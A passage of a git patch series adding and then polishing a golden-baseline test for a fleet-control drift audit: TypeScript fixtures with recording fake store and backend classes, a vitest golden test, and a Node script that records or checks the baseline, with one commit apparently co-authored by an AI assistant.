`ensureMaintenance received a lease for '${lease.tenantTag}' while auditing '${spec.tenantTag}'`; + this.fenceViolations.push(message); + throw new Error(message); + } + if (this.ensureMaintenanceThrowTenants.has(spec.tenantTag)) { + throw new Error('maintenance re-arm failed'); + } + return HEALTHY_MAINTENANCE; + } + + async inspect( + spec: DeploymentSpec, + maintenanceAdminSecret: string, + ): Promise { + this.ops.push('inspect'); + if (maintenanceAdminSecret !== `maintenance-secret-${spec.tenantTag}`) { + const message = `inspect received the wrong maintenance secret for '${spec.tenantTag}'`; + this.fenceViolations.push(message); + throw new Error(message); + } + return this.liveByTenant.get(spec.tenantTag); + } + + async attestActiveRoute(): Promise { + throw new Error('unused'); + } + + async removeTraffic(): Promise { + throw new Error('unused'); + } + + async assertTrafficRemoved(): Promise { + throw new Error('unused'); + } + + async revokeCredentials(): Promise { + throw new Error('unused'); + } + + async deleteWorker(): Promise { + throw new Error('unused'); + } + + async assertDatabaseDetached(): Promise { + throw new Error('unused'); + } + + async exportDatabase(): Promise { + throw new Error('unused'); + } + + async deleteDatabase(): Promise { + throw new Error('unused'); + } +} + +/** + * Every record reached through `backend.inspect()` gets a clean, matching + * live deployment EXCEPT the records whose story is specifically about + * inspect-time drift (`inspectAbsent` returns `undefined`; `maintStale` and + * `rearmFail` report unarmed maintenance). + */ +function inspectResultsByTenant(): Map { + const live = new Map(); + for (const record of [ + control, + livedup, + recdupA, + dupexpnsA, + dupexpnsB, + missingns, + r2dupA, + r2dupB, + r2missing, + r2drift, + dbMismatch, + bindingMismatch, + routeBroken, + routeDup, + channelDrift, + ]) { + live.set(record.tenantTag, cleanLiveDeployment(record)); + } + live.set( + platformDrift.tenantTag, + cleanLiveDeployment(platformDrift, { + // The record's OWN worker inspects clean; only the declared + // `platformResources.stateWorker` (a separate live deployment entry + // in `inventory.deployments`) carries the drift. + }), + ); + live.set(inspectAbsent.tenantTag, undefined); + live.set( + maintStale.tenantTag, + cleanLiveDeployment(maintStale, { maintenance: UNARMED_MAINTENANCE }), + ); + live.set( + rearmFail.tenantTag, + cleanLiveDeployment(rearmFail, { maintenance: UNARMED_MAINTENANCE }), + ); + return live; +} + +/** Runs the current audit against the frozen world through recording collaborators. */ +export async function runFleetAuditBaseline(): Promise<{ + readonly findings: readonly DriftFinding[]; + readonly ops: readonly AuditOpLogEntry[]; +}> { + const ops: AuditOpLogEntry[] = []; + const store = new RecordingFleetStore(AUDIT_WORLD_RECORDS, ops); + const backend = new RecordingBackend( + 'plain-worker', + ops, + inspectResultsByTenant(), + new Set([rearmFail.tenantTag]), + store.fenceViolations, + ); + const specByTenant = new Map( + AUDIT_WORLD_RECORDS.map((record) => [ + record.tenantTag, + specForRecord(record), + ]), + ); + // fleet.ts:1091's channel-binding-drift check only evaluates a non-empty + // expectation for a `platform`-authored spec that declares + // `egressProxyService`; every other record stays `authoredBy: 'external'`. + specByTenant.set( + channelDrift.tenantTag, + specForRecord(channelDrift, { + authoredBy: 'platform', + egressProxyService: CHANNEL_EGRESS_SERVICE_NAME, + }), + ); + + const findings = await auditFleetDrift({ + store, + records: AUDIT_WORLD_RECORDS, + inventory: fleetAuditWorldInventory(), + backendFor: (_record) => { + ops.push('resolver:backendFor'); + return backend; + }, + specFor: (record) => { + ops.push('resolver:specFor'); + const spec = specByTenant.get(record.tenantTag); + if (!spec) { + throw new Error(`no spec fixture for '${record.tenantTag}'`); + } + return spec; + }, + maintenanceSecretFor: (record) => { + ops.push('resolver:maintenanceSecretFor'); + return `maintenance-secret-${record.tenantTag}`; + }, + staleAfterMs: AUDIT_STALE_AFTER_MS, + now: AUDIT_NOW, + }); + + if (store.fenceViolations.length > 0) { + throw new Error(`fence violated: ${store.fenceViolations.join('; ')}`); + } + + return { findings, ops }; +} diff --git a/packages/fleet-control/test/fleet-audit-golden.test.ts b/packages/fleet-control/test/fleet-audit-golden.test.ts new file mode 100644 index 00000000..f10731c1 --- /dev/null +++ b/packages/fleet-control/test/fleet-audit-golden.test.ts @@ -0,0 +1,17 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it } from 'vitest'; +import { + AUDIT_BASELINE_FINDINGS, + AUDIT_BASELINE_OPS, +} from './fixtures/fleet-audit-baseline.js'; +import { runFleetAuditBaseline } from './fixtures/fleet-audit-world.js'; + +describe('fleet audit golden baseline', () => { + it('audits the recorded world into the frozen golden findings and op log, assertOwned included', async () => { + const { findings, ops } = await runFleetAuditBaseline(); + + expect(findings).toStrictEqual(AUDIT_BASELINE_FINDINGS); + expect(ops).toStrictEqual(AUDIT_BASELINE_OPS); + }); +}); diff --git a/scripts/CLAUDE.md b/scripts/CLAUDE.md index a5048e88..dc68576c 100644 --- a/scripts/CLAUDE.md +++ b/scripts/CLAUDE.md @@ -29,6 +29,17 @@ Repository documentation, architecture, and publication checks. Markdown syntax script is deliberately NOT part of CI: the in-suite equivalence title in `packages/fleet-control/test/cloudflare-client.test.ts` is the automatic behavioral gate, and `--check` is the re-recording aid an author runs by hand. +- `record-audit-baseline.mjs` — records fleet control's `auditFleetDrift` + golden baseline (findings AND the store/backend/resolver op log) from the + hand-authored world in + `packages/fleet-control/test/fixtures/fleet-audit-world.ts` and writes only + `…/fixtures/fleet-audit-baseline.ts`, formatting it with the repository's + Biome. `--check` re-derives both values from the unchanged world, compares + them structurally against the committed module's exports, prints every + structural difference, and exits non-zero without writing. This script is + deliberately NOT part of CI: the in-suite equivalence title in + `packages/fleet-control/test/fleet-audit-golden.test.ts` is the automatic + behavioral gate, and `--check` is the re-recording aid an author runs by hand. - `workerd-server-lifecycle.mjs` — the one `wrangler dev` start/stop protocol shared by the FlowSafe workerd harnesses and the conformance harness. - `workerd-server-lifecycle.test.mjs` — its vitest suite, run through the root diff --git a/scripts/record-audit-baseline.mjs b/scripts/record-audit-baseline.mjs new file mode 100644 index 00000000..56bd843b --- /dev/null +++ b/scripts/record-audit-baseline.mjs @@ -0,0 +1,336 @@ +// SPDX-License-Identifier: Apache-2.0 + +// Records the golden baseline of `auditFleetDrift()` (src/fleet.ts, before its +// R4-B.2 decomposition into bounded stages): the exact findings array it +// returns AND the exact sequence of calls it makes onto its `store`, +// `backendFor`, `specFor`, and `maintenanceSecretFor` collaborators (the "op +// log"), for the hand-authored world in +// packages/fleet-control/test/fixtures/fleet-audit-world.ts. +// +// The baseline must be recorded from PRE-REWRITE code, so this script writes +// exactly one file — the generated literals — and never touches the world it +// drives. `--check` re-derives both values from the unchanged world and +// compares them STRUCTURALLY against the committed module's exports, so the +// compatibility gate never depends on formatter behavior; it writes nothing. +// +// This script is a re-recording aid, not a CI gate: the in-suite equivalence +// title in packages/fleet-control/test/fleet-audit-golden.test.ts is the +// automatic behavioral gate. +// +// Usage: +// node scripts/record-audit-baseline.mjs # write the baseline +// node scripts/record-audit-baseline.mjs --check # verify, exit 1 on drift + +import { spawnSync } from 'node:child_process'; +import { existsSync, writeFileSync } from 'node:fs'; +import { register } from 'node:module'; +import { dirname, join, resolve } from 'node:path'; +import process from 'node:process'; +import { fileURLToPath, pathToFileURL } from 'node:url'; + +const REPOSITORY_ROOT = dirname(dirname(fileURLToPath(import.meta.url))); +const FIXTURE_DIRECTORY = join( + REPOSITORY_ROOT, + 'packages', + 'fleet-control', + 'test', + 'fixtures', +); +const WORLD_MODULE = join(FIXTURE_DIRECTORY, 'fleet-audit-world.ts'); +const BASELINE_FILE = join(FIXTURE_DIRECTORY, 'fleet-audit-baseline.ts'); +const BASELINE_RELATIVE_PATH = + 'packages/fleet-control/test/fixtures/fleet-audit-baseline.ts'; +// `pnpm exec` rather than a hard-coded node_modules/.bin path, matching +// record-drain-baseline.mjs and build-api-docs.mjs; the .bin shim location is +// a pnpm implementation detail. +const PNPM = process.platform === 'win32' ? 'pnpm.cmd' : 'pnpm'; + +function usage(message) { + process.stderr.write( + `${message}\nusage: node scripts/record-audit-baseline.mjs [--check]\n`, + ); + process.exit(2); +} + +function parseArguments(argv) { + let check = false; + for (const argument of argv) { + if (argument === '--check') check = true; + else usage(`unknown argument '${argument}'`); + } + return { check }; +} + +// The fixture chain (and the audit function it drives) is TypeScript with +// parameter properties, which Node's default strip-only mode refuses, so the +// script re-executes itself once with full type transformation. +function reexecuteWithTypeTransform(argv) { + const result = spawnSync( + process.execPath, + [ + '--experimental-transform-types', + '--no-warnings', + fileURLToPath(import.meta.url), + ...argv, + ], + { stdio: 'inherit' }, + ); + if (result.error) throw result.error; + process.exit(result.status ?? 1); +} + +// Test sources import sibling modules with `.js` specifiers, which Node does +// not remap to the `.ts` files on disk. +function registerTypeScriptResolution() { + const hook = ` + import { existsSync } from 'node:fs'; + import { fileURLToPath } from 'node:url'; + export async function resolve(specifier, context, next) { + const relative = specifier.startsWith('.') || specifier.startsWith('/'); + if (relative && specifier.endsWith('.js')) { + const target = new URL(specifier, context.parentURL); + if (!existsSync(fileURLToPath(target))) { + const candidate = new URL(\`\${target.href.slice(0, -3)}.ts\`); + if (existsSync(fileURLToPath(candidate))) { + return next(candidate.href, context); + } + } + } + return next(specifier, context); + } + `; + register(`data:text/javascript,${encodeURIComponent(hook)}`); +} + +function quoted(value) { + const escaped = value + .replaceAll('\\', '\\\\') + .replaceAll("'", "\\'") + .replaceAll('\n', '\\n') + .replaceAll('\r', '\\r') + .replaceAll('\t', '\\t'); + return `'${escaped}'`; +} + +function primitive(value) { + if (value === undefined) return 'undefined'; + if (value === null) return 'null'; + if (typeof value === 'string') return quoted(value); + if (typeof value === 'number' || typeof value === 'boolean') { + return String(value); + } + throw new Error(`unsupported baseline value type '${typeof value}'`); +} + +function isComposite(value) { + return typeof value === 'object' && value !== null; +} + +function propertyKey(key) { + return /^[A-Za-z_$][A-Za-z0-9_$]*$/u.test(key) ? key : quoted(key); +} + +// Emits readable TypeScript; `biome check --write` owns the final layout. +function render(value) { + if (!isComposite(value)) return primitive(value); + if (Array.isArray(value)) { + if (value.length === 0) return '[]'; + return `[${value.map((item) => `${render(item)},`).join('\n')}]`; + } + const entries = Object.entries(value); + if (entries.length === 0) return '{}'; + return `{${entries + .map(([key, item]) => `${propertyKey(key)}: ${render(item)},`) + .join('\n')}}`; +} + +function baselineSource({ findings, ops }) { + return `// SPDX-License-Identifier: Apache-2.0 + +/** + * GENERATED FILE — DO NOT EDIT BY HAND. + * + * Written by \`scripts/record-audit-baseline.mjs\` from the hand-authored world + * in \`fleet-audit-world.ts\`. It freezes the observable behavior of + * \`auditFleetDrift()\` (src/fleet.ts) before it is decomposed into bounded + * stages, so the decomposition can be proven byte-equivalent. Verify with + * \`node scripts/record-audit-baseline.mjs --check\`; any required change to + * these literals is a compatibility break, not a fixture update. + */ + +import type { DriftFinding } from '../../src/fleet.js'; +import type { AuditOpLogEntry } from './fleet-audit-world.js'; + +/** Every finding \`auditFleetDrift()\` returned, in order. */ +export const AUDIT_BASELINE_FINDINGS = ${render(findings)} as const satisfies readonly DriftFinding[]; + +/** + * Every \`withDeploymentLease\`/\`get\`/\`put\`/\`inspect\`/\`ensureMaintenance\` + * call, every \`resolver:\` invocation, and every \`lease.assertOwned()\` + * call \`auditFleetDrift()\` made, in order. \`list\`/\`renew\`/\`delete\` are in + * \`AuditOpLogEntry\`'s vocabulary but never appear here (defensive, unused by + * this pre-decomposition world). + */ +export const AUDIT_BASELINE_OPS = ${render(ops)} as const satisfies readonly AuditOpLogEntry[]; +`; +} + +function formatGeneratedFile() { + const result = spawnSync( + PNPM, + ['exec', 'biome', 'check', '--write', BASELINE_FILE], + { cwd: REPOSITORY_ROOT, stdio: ['ignore', 'ignore', 'inherit'] }, + ); + if (result.error) throw result.error; + if (result.status !== 0) { + throw new Error('biome refused the generated baseline'); + } +} + +function describeValue(value) { + if (isComposite(value)) { + return Array.isArray(value) + ? `array(${value.length})` + : `object{${Object.keys(value).join(',')}}`; + } + return primitive(value); +} + +/** + * Structural comparison: ordered arrays, ordered object keys, exact leaf + * values. Formatting and quoting are deliberately outside the comparison. + */ +function structuralDifferences(committed, derived, path, differences) { + if (isComposite(committed) !== isComposite(derived)) { + differences.push( + `${path}: committed ${describeValue(committed)} / derived ${describeValue(derived)}`, + ); + return differences; + } + if (!isComposite(committed)) { + if (committed !== derived) { + differences.push( + `${path}: committed ${primitive(committed)} / derived ${primitive(derived)}`, + ); + } + return differences; + } + if (Array.isArray(committed) !== Array.isArray(derived)) { + differences.push( + `${path}: committed ${describeValue(committed)} / derived ${describeValue(derived)}`, + ); + return differences; + } + if (Array.isArray(committed)) { + if (committed.length !== derived.length) { + differences.push( + `${path}: committed ${committed.length} item(s) / derived ${derived.length} item(s)`, + ); + } + const length = Math.max(committed.length, derived.length); + for (let index = 0; index < length; index += 1) { + const onlyDerived = index >= committed.length; + if (onlyDerived || index >= derived.length) { + const side = onlyDerived ? 'derived only' : 'committed only'; + const value = onlyDerived ? derived[index] : committed[index]; + differences.push(`${path}[${index}]: ${side} ${describeValue(value)}`); + continue; + } + structuralDifferences( + committed[index], + derived[index], + `${path}[${index}]`, + differences, + ); + } + return differences; + } + const committedKeys = Object.keys(committed); + const derivedKeys = Object.keys(derived); + if (committedKeys.join(',') !== derivedKeys.join(',')) { + differences.push( + `${path}: committed keys [${committedKeys.join(', ')}] / derived keys [${derivedKeys.join(', ')}]`, + ); + } + for (const key of new Set([...committedKeys, ...derivedKeys])) { + structuralDifferences( + committed[key], + derived[key], + `${path}.${key}`, + differences, + ); + } + return differences; +} + +function summary(baseline) { + const kindCounts = new Map(); + for (const finding of baseline.findings) { + kindCounts.set(finding.kind, (kindCounts.get(finding.kind) ?? 0) + 1); + } + return ( + `${baseline.findings.length} findings (${kindCounts.size} distinct kinds), ` + + `${baseline.ops.length} ops` + ); +} + +async function main(argv) { + const { check } = parseArguments(argv); + if (process.features.typescript !== 'transform') { + reexecuteWithTypeTransform(argv); + } + registerTypeScriptResolution(); + const { runFleetAuditBaseline } = await import(WORLD_MODULE); + const baseline = await runFleetAuditBaseline(); + + if (!check) { + writeFileSync(BASELINE_FILE, baselineSource(baseline)); + formatGeneratedFile(); + process.stdout.write( + `wrote ${BASELINE_RELATIVE_PATH}: ${summary(baseline)}\n`, + ); + return 0; + } + + if (!existsSync(BASELINE_FILE)) { + process.stderr.write( + `audit baseline is missing: ${BASELINE_RELATIVE_PATH}\n` + + 'run `node scripts/record-audit-baseline.mjs` on the pre-rewrite tree\n', + ); + return 1; + } + const committed = await import(BASELINE_FILE); + const differences = [ + ...structuralDifferences( + committed.AUDIT_BASELINE_FINDINGS, + baseline.findings, + 'findings', + [], + ), + ...structuralDifferences( + committed.AUDIT_BASELINE_OPS, + baseline.ops, + 'ops', + [], + ), + ]; + if (differences.length === 0) { + process.stdout.write( + `audit baseline matches ${BASELINE_RELATIVE_PATH}: ${summary(baseline)}\n`, + ); + return 0; + } + process.stderr.write( + `audit baseline drifted from ${BASELINE_RELATIVE_PATH}\n` + + `${differences.length} structural difference(s), committed vs re-derived from the unchanged world:\n` + + `${differences.map((difference) => ` ${difference}`).join('\n')}\n`, + ); + return 1; +} + +const invokedPath = process.argv[1] + ? pathToFileURL(resolve(process.argv[1])).href + : undefined; +if (invokedPath === import.meta.url) { + process.exit(await main(process.argv.slice(2))); +} From 1001eeb404ec904839795def0eee3fdd720e17d0 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 2 Sep 2026 01:04:13 +0400 Subject: [PATCH 056/169] refactor(fleet-control): apply the R4-B.1 review nit ledger Nine polish items on the frozen-baseline apparatus: legible record names, a bareDeployment builder collapsing five raw literals, the fence-violation ledger threaded to both recording collaborators as a local, a defaulted backend kind, comment corrections, and a Set-based recorder summary. Baseline byte-identical at 47 findings / 86 ops. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01KRECeuo6T37aouqqT3CaMK --- .../test/fixtures/fleet-audit-world.ts | 264 +++++++++--------- scripts/record-audit-baseline.mjs | 7 +- 2 files changed, 128 insertions(+), 143 deletions(-) diff --git a/packages/fleet-control/test/fixtures/fleet-audit-world.ts b/packages/fleet-control/test/fixtures/fleet-audit-world.ts index 907cba76..b3673bbb 100644 --- a/packages/fleet-control/test/fixtures/fleet-audit-world.ts +++ b/packages/fleet-control/test/fixtures/fleet-audit-world.ts @@ -208,8 +208,28 @@ function cleanRoute( }; } +function bareDeployment( + overrides: Pick< + FleetInventoryDeployment, + 'scriptName' | 'tenantTag' | 'artifactVersion' + > & + Partial, +): FleetInventoryDeployment { + return { + backend: 'plain-worker', + environment: ENVIRONMENT, + databaseIds: [], + durableObjectBindings: [], + secretNames: [], + plainTextBindings: {}, + routeHostnames: [], + schemaVersion: 1, + ...overrides, + }; +} + // --------------------------------------------------------------------------- -// Records. Each comment cites the fleet.ts:line the record targets. +// Records. Each targeting record's comment cites the fleet.ts:line it targets. // --------------------------------------------------------------------------- /** A fully healthy deployment: proves the audit does not false-positive. */ @@ -219,7 +239,7 @@ const control = baseRecord('control'); * Two live `inventory.deployments` entries answer this record's one expected * script key -> fleet.ts:680 `duplicate-deployment` ("appears N times"). */ -const livedup = baseRecord('livedup'); +const liveDup = baseRecord('livedup'); /** * Two records share `scriptName` ("shared-record-script"), so both fall @@ -228,8 +248,10 @@ const livedup = baseRecord('livedup'); * phase `worker-deployed` (not `ready`) so it exits at the fleet.ts:965 gate * before any of the ready-only per-record checks can also fire. */ -const recdupA = baseRecord('recdupa', { scriptName: 'shared-record-script' }); -const recdupB = baseRecord('recdupb', { +const recordDupA = baseRecord('recdupa', { + scriptName: 'shared-record-script', +}); +const recordDupB = baseRecord('recdupb', { scriptName: 'shared-record-script', phase: 'worker-deployed', }); @@ -240,7 +262,7 @@ const recdupB = baseRecord('recdupb', { * one processed. */ const SHARED_EXPECTED_NAMESPACE = 'ns-shared-expected'; -const dupexpnsA = baseRecord('dupexpnsa', { +const namespaceDupA = baseRecord('dupexpnsa', { durableObjectBindings: [ { name: 'RUNNER', @@ -249,7 +271,7 @@ const dupexpnsA = baseRecord('dupexpnsa', { }, ], }); -const dupexpnsB = baseRecord('dupexpnsb', { +const namespaceDupB = baseRecord('dupexpnsb', { durableObjectBindings: [ { name: 'RUNNER', @@ -264,7 +286,7 @@ const dupexpnsB = baseRecord('dupexpnsb', { * `missing-namespace`. */ const MISSING_EXPECTED_NAMESPACE = 'ns-missing-expected'; -const missingns = baseRecord('missingns', { +const missingNamespace = baseRecord('missingns', { durableObjectBindings: [ { name: 'RUNNER', @@ -279,7 +301,7 @@ const missingns = baseRecord('missingns', { * ("claimed by more than one deployment"), for the second one processed. */ const SHARED_BUCKET_CREATION_DATE = '2026-01-01T00:00:00.000Z'; -const r2dupA = baseRecord('r2dupa', { +const bucketDupA = baseRecord('r2dupa', { applicationResources: [ { name: 'EXPORTS', @@ -291,7 +313,7 @@ const r2dupA = baseRecord('r2dupa', { }, ], }); -const r2dupB = baseRecord('r2dupb', { +const bucketDupB = baseRecord('r2dupb', { applicationResources: [ { name: 'EXPORTS', @@ -305,7 +327,7 @@ const r2dupB = baseRecord('r2dupb', { }); /** Claims a bucket absent from `inventory.r2Buckets` -> fleet.ts:844 `missing-r2-bucket`. */ -const r2missing = baseRecord('r2missing', { +const bucketMissing = baseRecord('r2missing', { applicationResources: [ { name: 'EXPORTS', @@ -323,7 +345,7 @@ const r2missing = baseRecord('r2missing', { * jurisdiction and creation date -> fleet.ts:854 `r2-bucket-drift` ("changed * its persisted creation identity"). */ -const r2drift = baseRecord('r2drift', { +const bucketDrift = baseRecord('r2drift', { applicationResources: [ { name: 'EXPORTS', @@ -473,7 +495,7 @@ const staleNotReady = baseRecord('stalenotready', { */ const WFP_ACTIVE_PHYSICAL_NAME = 'wfp-release-active'; const WFP_PENDING_PHYSICAL_NAME = 'wfp-release-pending'; -const wfpRelease: FleetRecord = baseRecord('wfprelease', { +const wfpRelease = baseRecord('wfprelease', { backend: 'workers-for-platforms', scriptName: 'wfp-release-worker', phase: 'worker-deployed', @@ -507,16 +529,16 @@ const wfpRelease: FleetRecord = baseRecord('wfprelease', { const AUDIT_WORLD_RECORDS: readonly FleetRecord[] = [ control, - livedup, - recdupA, - recdupB, - dupexpnsA, - dupexpnsB, - missingns, - r2dupA, - r2dupB, - r2missing, - r2drift, + liveDup, + recordDupA, + recordDupB, + namespaceDupA, + namespaceDupB, + missingNamespace, + bucketDupA, + bucketDupB, + bucketMissing, + bucketDrift, missingDeploy, dbMismatch, bindingMismatch, @@ -542,11 +564,11 @@ const AUDIT_WORLD_RECORDS: readonly FleetRecord[] = [ * fixture, or a `platformResources` mismatch). This list ALSO governs the * namespace axis below: a member's own `durableObjectBindings` namespace ids * are folded into `fleetAuditWorldInventory()`'s `namespaceIds` (via the - * flatMap in `fleetAuditWorldInventory`, minus `missingns` — see its + * flatMap in `fleetAuditWorldInventory`, minus `missingNamespace` — see its * exclusion there), so only a member's expected namespace stays "clean"; * two further ids are whitelisted explicitly below. * - * The seven non-members (`recdupB`, `missingDeploy`, `dbMismatch`, + * The seven non-members (`recordDupB`, `missingDeploy`, `dbMismatch`, * `bindingMismatch`, `routeBroken`, `staleNotReady`, `wfpRelease`) each * leak collateral on the axis their story doesn't isolate. Six of them * (all but `wfpRelease`, whose one expected namespace id is explicitly @@ -559,15 +581,15 @@ const AUDIT_WORLD_RECORDS: readonly FleetRecord[] = [ */ const CLEANLY_INVENTORIED_RECORDS: readonly FleetRecord[] = [ control, - livedup, - recdupA, - dupexpnsA, - dupexpnsB, - missingns, - r2dupA, - r2dupB, - r2missing, - r2drift, + liveDup, + recordDupA, + namespaceDupA, + namespaceDupB, + missingNamespace, + bucketDupA, + bucketDupB, + bucketMissing, + bucketDrift, routeDup, platformDrift, channelDrift, @@ -593,14 +615,14 @@ function fleetAuditWorldInventory(): FleetResourceInventory { ); const namespaceIds = [ ...new Set([ - // `missingns` is excluded here (but stays a CLEANLY_INVENTORIED_RECORDS + // `missingNamespace` is excluded here (but stays a CLEANLY_INVENTORIED_RECORDS // member for deployments/databaseIds/routes): its whole story is that // `MISSING_EXPECTED_NAMESPACE` is absent from fleet inventory // (fleet.ts:776), so folding its own expected namespace id into this // derivation — the opposite of its design — would silently launder it // into "present" and defeat the story. ...CLEANLY_INVENTORIED_RECORDS.filter( - (record) => record !== missingns, + (record) => record !== missingNamespace, ).flatMap((record) => record.durableObjectBindings.map((binding) => binding.namespaceId), ), @@ -622,35 +644,31 @@ function fleetAuditWorldInventory(): FleetResourceInventory { }); // fleet.ts:647 — an unregistered live script with no owning record. - deployments.push({ - backend: 'plain-worker', - scriptName: 'ghost-live-script', - tenantTag: 'ghost-live', - environment: ENVIRONMENT, - databaseIds: ['db-ghost-live'], - durableObjectBindings: [], - secretNames: [], - plainTextBindings: {}, - routeHostnames: ['ghost-live.example.test'], - artifactVersion: 'v1', - schemaVersion: 1, - }); + deployments.push( + bareDeployment({ + scriptName: 'ghost-live-script', + tenantTag: 'ghost-live', + databaseIds: ['db-ghost-live'], + routeHostnames: ['ghost-live.example.test'], + artifactVersion: 'v1', + }), + ); - // fleet.ts:680 — a second live entry answering `livedup`'s expected key. + // fleet.ts:680 — a second live entry answering `liveDup`'s expected key. // `routeHostnames: []` keeps this second entry from ALSO satisfying // fleet.ts:981-989's per-record route-ownership count, which only wants // exactly one owning live entry; two identical route claims would trip // fleet.ts:996 too. deployments.push( - cleanInventoryDeployment(livedup, { + cleanInventoryDeployment(liveDup, { tenantTag: 'livedup-ghost-owner', routeHostnames: [], }), ); // fleet.ts:871 — the second `recdupb` claimant of `shared-record-script` - // is deliberately NOT added here: `recdupA`'s clean entry is the only live - // deployment under that script name, which is what makes `recdupB`'s own + // is deliberately NOT added here: `recordDupA`'s clean entry is the only live + // deployment under that script name, which is what makes `recordDupB`'s own // `recordsByScript` lookup see two RECORDS behind one live entry. // fleet.ts:697 — an unregistered database id. @@ -672,7 +690,7 @@ function fleetAuditWorldInventory(): FleetResourceInventory { routes.push(cleanRoute(routeDup, { scriptName: 'route-dup-ghost-script' })); const r2Buckets: NonNullable = [ - // fleet.ts:811's second claimant (`r2dupB`) is deliberately NOT added + // fleet.ts:811's second claimant (`bucketDupB`) is deliberately NOT added // as its own live bucket: the single `shared-bucket` entry below is // what both records compete over. { @@ -681,7 +699,7 @@ function fleetAuditWorldInventory(): FleetResourceInventory { creationDate: SHARED_BUCKET_CREATION_DATE, }, // fleet.ts:854 — present, but under a different jurisdiction/creation - // date than `r2drift`'s persisted claim. + // date than `bucketDrift`'s persisted claim. { bucketName: 'bucket-drift', jurisdiction: 'eu', @@ -742,23 +760,16 @@ function fleetAuditWorldInventory(): FleetResourceInventory { // fleet.ts:1146/:1224 — the one live deployment behind `platformDrift`'s // declared `stateWorker`, with wrong ownership metadata (no - // `resourceRole`, wrong `resourceGroupId`/`artifactVersion`) and a - // `databaseIds` count that can never equal 1's worth of the expected - // binding/database identity. - deployments.push({ - backend: 'plain-worker', - scriptName: PLATFORM_STATE_SCRIPT_NAME, - tenantTag: platformDrift.tenantTag, - environment: ENVIRONMENT, - resourceGroupId: 'wrong-resource-group', - databaseIds: [], - durableObjectBindings: [], - secretNames: [], - plainTextBindings: {}, - routeHostnames: [], - artifactVersion: 'state-v0-wrong', - schemaVersion: 1, - }); + // `resourceRole`, wrong `resourceGroupId`/`artifactVersion`) and an empty + // `databaseIds` (fleet.ts:1224 expects exactly one matching entry). + deployments.push( + bareDeployment({ + scriptName: PLATFORM_STATE_SCRIPT_NAME, + tenantTag: platformDrift.tenantTag, + resourceGroupId: 'wrong-resource-group', + artifactVersion: 'state-v0-wrong', + }), + ); // No `scriptRegistrations` entry for the state-worker key: it is // `plain-worker`-backed, so fleet.ts:659-666's `registered` check is // unconditionally true for it regardless (`expected.backend !== @@ -771,20 +782,14 @@ function fleetAuditWorldInventory(): FleetResourceInventory { // declared `egressProxy`. `options.inventory.hostRoutingKvId` is never // set in this world, so fleet.ts:1245's `!options.inventory.hostRoutingKvId` // disjunct alone guarantees the drift regardless of every other field. - deployments.push({ - backend: 'plain-worker', - scriptName: PLATFORM_EGRESS_SCRIPT_NAME, - tenantTag: platformDrift.tenantTag, - environment: ENVIRONMENT, - resourceGroupId: 'wrong-resource-group', - databaseIds: [], - durableObjectBindings: [], - secretNames: [], - plainTextBindings: {}, - routeHostnames: [], - artifactVersion: 'egress-v0-wrong', - schemaVersion: 1, - }); + deployments.push( + bareDeployment({ + scriptName: PLATFORM_EGRESS_SCRIPT_NAME, + tenantTag: platformDrift.tenantTag, + resourceGroupId: 'wrong-resource-group', + artifactVersion: 'egress-v0-wrong', + }), + ); // fleet.ts:1091 — `channelDrift` is already in `CLEANLY_INVENTORIED_RECORDS`, // which gives it its ONE clean live deployment entry (`serviceBindings` @@ -815,11 +820,10 @@ function fleetAuditWorldInventory(): FleetResourceInventory { }, ); deployments.push( - { + bareDeployment({ backend: 'workers-for-platforms', scriptName: WFP_ACTIVE_PHYSICAL_NAME, tenantTag: wfpRelease.tenantTag, - environment: ENVIRONMENT, databaseIds: ['db-wfp-active-wrong'], durableObjectBindings: [ { @@ -828,25 +832,15 @@ function fleetAuditWorldInventory(): FleetResourceInventory { namespaceId: 'ns-wfp-active-live-wrong', }, ], - secretNames: [], - plainTextBindings: {}, - routeHostnames: [], artifactVersion: 'release-v1-wrong-live', - schemaVersion: 1, - }, - { + }), + bareDeployment({ backend: 'workers-for-platforms', scriptName: WFP_PENDING_PHYSICAL_NAME, tenantTag: wfpRelease.tenantTag, - environment: ENVIRONMENT, databaseIds: [wfpRelease.databaseId], - durableObjectBindings: [], - secretNames: [], - plainTextBindings: {}, - routeHostnames: [], artifactVersion: 'release-v2-pending', - schemaVersion: 1, - }, + }), ); return { @@ -894,16 +888,11 @@ export type AuditOpLogEntry = class RecordingFleetStore implements FleetStateStore { private readonly records = new Map(); - /** - * Fence violations recorded across the write-path clock fence below and - * the `RecordingBackend` credential-delivery pins, which share this same - * array — see the post-run throw in `runFleetAuditBaseline`. - */ - readonly fenceViolations: string[] = []; constructor( records: readonly FleetRecord[], private readonly ops: AuditOpLogEntry[], + private readonly fenceViolations: string[], ) { for (const record of records) { this.records.set(`${record.tenantTag}:${record.environment}`, record); @@ -937,10 +926,10 @@ class RecordingFleetStore implements FleetStateStore { // `auditFleetDrift` (fleet.ts:1392-1399 swallows it — fail-soft by // design), same as the credential-delivery pins in // `RecordingBackend.ensureMaintenance`/`inspect` below, which record - // into this same `fenceViolations` array; `runFleetAuditBaseline`'s - // post-run throw — a fresh Error aggregating the recorded - // fence-violation messages — is what makes the recorder and golden - // test fail loudly instead. + // into `fenceViolations` too; `runFleetAuditBaseline`'s post-run + // throw — a fresh Error aggregating the recorded fence-violation + // messages — is what makes the recorder and golden test fail loudly + // instead. if (record.updatedAt !== new Date(AUDIT_NOW).toISOString()) { const message = `re-arm put payload updatedAt '${record.updatedAt}' does not match the authority clock`; this.fenceViolations.push(message); @@ -985,10 +974,9 @@ class RecordingFleetStore implements FleetStateStore { } class RecordingBackend implements ProvisioningBackend { - readonly kind: ProvisioningBackendKind; + readonly kind: ProvisioningBackendKind = 'plain-worker'; constructor( - kind: ProvisioningBackendKind, private readonly ops: AuditOpLogEntry[], private readonly liveByTenant: ReadonlyMap< string, @@ -996,9 +984,7 @@ class RecordingBackend implements ProvisioningBackend { >, private readonly ensureMaintenanceThrowTenants: ReadonlySet, private readonly fenceViolations: string[], - ) { - this.kind = kind; - } + ) {} async findDatabase(): Promise { throw new Error('unused'); @@ -1114,21 +1100,23 @@ class RecordingBackend implements ProvisioningBackend { * Every record reached through `backend.inspect()` gets a clean, matching * live deployment EXCEPT the records whose story is specifically about * inspect-time drift (`inspectAbsent` returns `undefined`; `maintStale` and - * `rearmFail` report unarmed maintenance). + * `rearmFail` report unarmed maintenance). 